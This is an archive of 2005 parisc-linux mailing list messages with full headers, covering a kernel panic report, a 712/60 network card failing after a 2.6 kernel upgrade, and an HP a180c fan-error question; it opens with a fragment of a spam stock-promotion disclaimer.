The publisher of this newsletter is not a registered invstment advisor.
Subscribers should not view information herein as legal, tax, accounting or
investment advice. In compliance with the SecuritiesAct of 1933, Section
17(b), The publisher of this newsletter is contracted to receive six hundred
thousand free trading shares from a third party, not an officer, director or
affiliate shareholder for the circulation of this report. Be aware of an
inherent conflict of interest resulting from such compensation due to the
fact that this is a paid advertisement and is not without bias. The party
that paid us has a position in the ST0CK they will sell at anytime without
notice. This could have a negative impact on the price of the ST0CK, causing
you to lose money. All factual information in this report was gathered from
public sources, including but not limited to SEC filings, Company Websites
and Company Press Releases. The publisher of this newsletter believes this
information to be reliable but can make no guarantee as to its accuracy or
completeness. Use of the material within this email constitutes your


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New debian libc6 2.3.5: glibc bug or kernel bug???
Date: Thu, 11 Aug 2005 08:09:00 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20050811120900.GH18837@roadwarrior.mcmartin.ca>
References: <IL1WV5$C263D00B95D5C9242114A7D700723650@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624557 26987 80.91.229.3 (22 Nov 2014 02:49:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:17 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2005 13:21:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 11 Aug 2005 15:21:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 094E27D73C;
	Thu, 11 Aug 2005 07:21:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30719-09; Thu, 11 Aug 2005 07:21:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CA077D73D;
	Thu, 11 Aug 2005 07:21:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82CDD7D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 07:21:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32124-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 07:21:09 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0C3437D738
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 07:21:09 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5B03D49555F; Thu, 11 Aug 2005 07:21:05 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by palinux.hppa (Postfix) with ESMTP id AF3F0494037
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Aug 2005 07:21:04 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 6D01317050;
	Thu, 11 Aug 2005 09:21:03 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24646-06; Thu, 11 Aug 2005 09:20:52 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 86F9B1707B; Thu, 11 Aug 2005 09:20:52 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x633219768-52656d6f746546617454697265-494e424f582e4f7574626f78: 1123766404-00241457655508-v4.0.10
Content-Disposition: inline
In-Reply-To: <IL1WV5$C263D00B95D5C9242114A7D700723650@scarlet.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mjWJYlAheSEkS76WZHQhaXN1IGRvb8BD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25175

On Thu, Aug 11, 2005 at 11:25:53AM +0200, Joel Soete wrote:
>  kernel BUG at mm/mmap.c:????
> Backtrace:
> [<1015c5e8>] exit_mmap+0x1b8/0x1d8
> [<10126614>] mmput+0x44/0xbc
> [<1012a928>] do_exit+0xd4/0xa04
> [<1012b2bc>] do_group_exit+0x64/0xcc
> [<1010d12c>] syscall_exit+0x0/0x14
> 
> Kernel panic - not syncing: BUG!
> 

I can confirm this, my C3000 panicked during `make oldconfig' though
I didn't think it was running unstable, nor did I get a backtrace, though
it seems syslogd may have gotten it.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Schelstraete Bart <Bart.SCHELSTRAETE@dhl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60 LAN not working after kernel update to 2.6
Date: Sat, 13 Aug 2005 16:08:59 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <1123945739.42fe0d0bae677@cyrus.bru-hub.dhl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624557 26999 80.91.229.3 (22 Nov 2014 02:49:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:17 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 15:16:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 13 Aug 2005 17:16:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE6667D6BD;
	Sat, 13 Aug 2005 09:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17274-05; Sat, 13 Aug 2005 09:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3EE27D6B9;
	Sat, 13 Aug 2005 09:16:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2382A7D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:16:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17274-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:16:20 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A04247D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 09:16:20 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 1A2D3495991; Sat, 13 Aug 2005 09:16:20 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from avinms1.bru-hub.dhl.com (unknown [165.72.200.124])
	by palinux.hppa (Postfix) with ESMTP id 59E68495990
	for <parisc-linux@parisc-linux.org>;
	Sat, 13 Aug 2005 09:16:19 -0600 (MDT)
Original-Received: from bruavi15.bru-hub.dhl.com ([198.141.87.179]) by
	avinms1.bru-hub.dhl.com (Netscape Messaging Server 4.15) with
	ESMTP id IL62EK00.08K for <parisc-linux@parisc-linux.org>; Sat,
	13 Aug 2005 17:15:56 +0200 
Original-Received: from bruavi15.bru-hub.dhl.com (localhost [127.0.0.1])
	by bruavi15.bru-hub.dhl.com (8.12.8/8.12.8) with ESMTP id
	j7DF90gG001778
	for <parisc-linux@parisc-linux.org>; Sat, 13 Aug 2005 17:09:00 +0200
Original-Received: (from apache@localhost)
	by bruavi15.bru-hub.dhl.com (8.12.8/8.12.8/Submit) id j7DF8xeM001776
	for parisc-linux@parisc-linux.org; Sat, 13 Aug 2005 16:08:59 +0100
X-Authentication-Warning: bruavi15.bru-hub.dhl.com: apache set sender to
	Bart.SCHELSTRAETE@dhl.com using -f
Original-Received: from bugzilla.bru-hub.dhl.com (bugzilla.bru-hub.dhl.com
	[198.141.87.137]) by cyrus.bru-hub.dhl.com (IMP) with HTTP 
	for <bschelst@imap.bru-hub.dhl.com>; Sat, 13 Aug 2005 16:08:59 +0100
User-Agent: Internet Messaging Program (IMP) 3.2.1
X-Originating-IP: 198.141.87.137
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m2uMYoMkeSEkbL6WZHQhaXN1IGRvb0Ag
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25176

Hello ,

As a lot of hppa users - I guess- I'm using an older 712/60 workstation.
In the past I installed Debian hppa on it , and it worked fine with the
2.4 kernel series.
Now, a few days ago  I finally upgraded the box to kernel 2.6, and the
machine boots. Which is already a start :)

But, after the kernel upgrade, the builtin network card doesn't work
anymore.

After doing an ifup it's complaining that he couldn't find the device:
'eth0: ERROR while getting interface flangs: No such device'


When I check the devices in the box , I can see that the kernel found
the network card:

--
Found devices:
..
4.  Gecko Core LAN (802.3) at 0xf0107000
--

Can somebody help me with this issue?


Bart

























--
DHL Aviation Webmail 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 LAN not working after kernel update to 2.6
Date: Sat, 13 Aug 2005 12:21:43 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20050813182143.GB21280@colo.lackof.org>
References: <1123945739.42fe0d0bae677@cyrus.bru-hub.dhl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624558 27001 80.91.229.3 (22 Nov 2014 02:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Schelstraete Bart <Bart.SCHELSTRAETE@dhl.com>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 18:16:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 13 Aug 2005 20:16:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E2E97D6D7;
	Sat, 13 Aug 2005 12:16:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18868-07; Sat, 13 Aug 2005 12:16:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B71937D6D9;
	Sat, 13 Aug 2005 12:16:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A8657D6D6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 12:16:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18868-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 12:16:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 13A747D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 12:16:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 95A6A496075; Sat, 13 Aug 2005 12:16:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 5997E496074
	for <parisc-linux@parisc-linux.org>;
	Sat, 13 Aug 2005 12:16:21 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7398D360069;
	Sat, 13 Aug 2005 12:21:43 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21980-08; Sat, 13 Aug 2005 12:21:43 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2A39D360066; Sat, 13 Aug 2005 12:21:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1123945739.42fe0d0bae677@cyrus.bru-hub.dhl.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ql2MYp9YeSEkM76WZHQhaXN1IGRvb0Bb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25177

On Sat, Aug 13, 2005 at 04:08:59PM +0100, Schelstraete Bart wrote:
> Hello ,
> 
> As a lot of hppa users - I guess- I'm using an older 712/60 workstation.
> In the past I installed Debian hppa on it , and it worked fine with the
> 2.4 kernel series.
> Now, a few days ago  I finally upgraded the box to kernel 2.6, and the
> machine boots. Which is already a start :)

Bart,
If you have to post the same thing to both debian-hppa and parisc-linux,
do it using "cc" so folks know it's on both lists.

I've replied to your debian-hppa posting.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jools Smyth" <jools@oxfordinspire.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 a180c fan problem
Date: Sat, 13 Aug 2005 21:20:32 +0100 (BST)
Lines: 28
Approved: news@gmane.org
Message-ID: <10236.82.70.241.8.1123964432.squirrel@webmail.oxfordinspire.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624558 27005 80.91.229.3 (22 Nov 2014 02:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Aug 2005 20:20:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 13 Aug 2005 22:20:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3B047D697;
	Sat, 13 Aug 2005 14:20:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19656-05; Sat, 13 Aug 2005 14:20:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC6A27D6AE;
	Sat, 13 Aug 2005 14:20:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A6447D695
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 14:20:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19656-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 14:20:40 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A643E7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 14:20:40 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 24440496840; Sat, 13 Aug 2005 14:20:40 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from muse.oxfordinspire.co.uk (muse.oxfordinspire.co.uk
	[212.69.37.19]) by palinux.hppa (Postfix) with ESMTP id CEAD549682C
	for <parisc-linux@parisc-linux.org>;
	Sat, 13 Aug 2005 14:20:39 -0600 (MDT)
Original-Received: from localhost.idnet.net ([127.0.0.1]
	helo=webmail.oxfordinspire.co.uk)
	by muse.oxfordinspire.co.uk with esmtp (Exim 4.50)
	id 1E42Ua-0004im-Ul
	for parisc-linux@parisc-linux.org; Sat, 13 Aug 2005 21:20:33 +0100
Original-Received: from 82.70.241.8
	(SquirrelMail authenticated user jools@oxfordinspire.co.uk)
	by webmail.oxfordinspire.co.uk with HTTP;
	Sat, 13 Aug 2005 21:20:32 +0100 (BST)
User-Agent: SquirrelMail/1.4.4
X-Priority: 3 (Normal)
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dzOMYiJNeSEkZr6WZHQhaXN1IGRvb0DV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25178

Hi,

This is a bit offtopic sorry. I have a problem with my a180c which someone
might be able to help with. I was fiddling with it and powered it on with
1 less fan running. I didn't know it had detection code, and it threw up
an error, and then powered off. I plugged the fan back in, but it's still
throwing up the fan error. It must have set some flag somewhere in flash
?!? I removed the battery, but it still is reporting the error.

The error is "Warning! Fan failure has been detected, the system will be
powering down. please call a service respresentative)

Any secret key to press on the remote console to reset the thing ? or some
jumper ?

My worry is it's written something to flash memory, which has made the
machine permanently useless... :(

Best Regards

Jools

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Mon, 15 Aug 2005 14:40:45 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <4300A96D.5090806@tiscali.be>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>	<20050721043626.GY30182@systemhalted.org>
	<20050721123045.GA27330@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624558 27007 80.91.229.3 (22 Nov 2014 02:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:18 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Aug 2005 14:41:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 15 Aug 2005 16:41:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 780507D6F8;
	Mon, 15 Aug 2005 08:40:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00553-01; Mon, 15 Aug 2005 08:40:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07F337D6F2;
	Mon, 15 Aug 2005 08:40:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C77E7D6F0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 08:40:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00344-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 08:40:49 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 24DF17D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 08:40:49 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A3CDC6D6646; Mon, 15 Aug 2005 08:40:48 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by palinux.hppa (Postfix) with ESMTP id D137A6D6642;
	Mon, 15 Aug 2005 08:40:47 -0600 (MDT)
Original-Received: from (ip-213-49-127-99.dsl.scarlet.be [213.49.127.99]) 
	by xizor.is.scarlet.be  with ESMTP id j7FEejS23912; 
	Mon, 15 Aug 2005 16:40:45 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.10) Gecko/20050802 Debian/1.7.10-1
X-Accept-Language: en
In-Reply-To: <20050721123045.GA27330@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
